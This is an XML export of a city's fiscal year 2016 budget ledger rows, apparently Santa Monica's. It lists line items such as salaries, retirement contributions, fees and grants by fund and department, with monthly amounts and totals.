<row _id="20939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400923.0</object><object_description>SPC ADMIN SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5982</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5982</total></row>
<row _id="20941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17667</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17667</total></row>
<row _id="20942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16955</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16955</total></row>
<row _id="20943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>241157</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>241157</total></row>
<row _id="20944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10000</total></row>
<row _id="20945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-24829</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24829</total></row>
<row _id="20946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3533</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3533</total></row>
<row _id="20947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-44450</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-44450</total></row>
<row _id="20948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6694</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6694</total></row>
<row _id="20949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405610.0</object><object_description>LAWN BOWLING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1781</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1781</total></row>
<row _id="20950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405620.0</object><object_description>PRIVATE COACHING FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1600</total></row>
<row _id="20951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="20952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12851</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12851</total></row>
<row _id="20953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1020</total></row>
<row _id="20954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 HAP VOUCHERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405680.0</object><object_description>EVENT ADMINISTRATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-16300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-16300</total></row>
<row _id="20956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>495425</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>495425</total></row>
<row _id="20957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405690.0</object><object_description>SALE OF ADVERTISING PANELS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10000</total></row>
<row _id="20958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404211.0</object><object_description>OTHER OPER REV-OUTSIDE ADVERTI</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-400000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-400000</total></row>
<row _id="20959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567220.0</object><object_description>PFA 2011A (PKG ST 6)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2668931</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2668931</total></row>
<row _id="20960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>224240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>224240</total></row>
<row _id="20961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4378</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4378</total></row>
<row _id="20962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533090.0</object><object_description>PROJECT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>124603</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>124603</total></row>
<row _id="20963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403721.0</object><object_description>SERIAL INEBRIATE GRANT LEASING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566555.0</object><object_description>SANTA MONICA ART WALK</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562432.0</object><object_description>SHP-ST JOE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>63432</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>63432</total></row>
<row _id="20966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577720.0</object><object_description>CDBG REIMB-HUMAN SVC</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>201268</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>201268</total></row>
<row _id="20967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4751</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4751</total></row>
<row _id="20968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11708</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11708</total></row>
<row _id="20969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405351.0</object><object_description>PRIVATE HAULER ANN. PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-27100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-27100</total></row>
<row _id="20970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>651</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>651</total></row>
<row _id="20971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409080.0</object><object_description>ADULT SOCCER LEAGUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-220000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-220000</total></row>
<row _id="20972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="20973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6400</total></row>
<row _id="20974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-14033</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14033</total></row>
<row _id="20975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12936</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12936</total></row>
<row _id="20976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1010</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1010</total></row>
<row _id="20978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1147</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1147</total></row>
<row _id="20979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11979</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11979</total></row>
<row _id="20980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1325</total></row>
<row _id="20981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>35190</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35190</total></row>
<row _id="20982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8437</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8437</total></row>
<row _id="20983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403720.0</object><object_description>HUD SERIAL INEBRIATE GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405352.0</object><object_description>PRIVATE HAULER PER TON PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-141100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-141100</total></row>
<row _id="20986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569222.0</object><object_description>RUSKIN GROUP THEATRE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
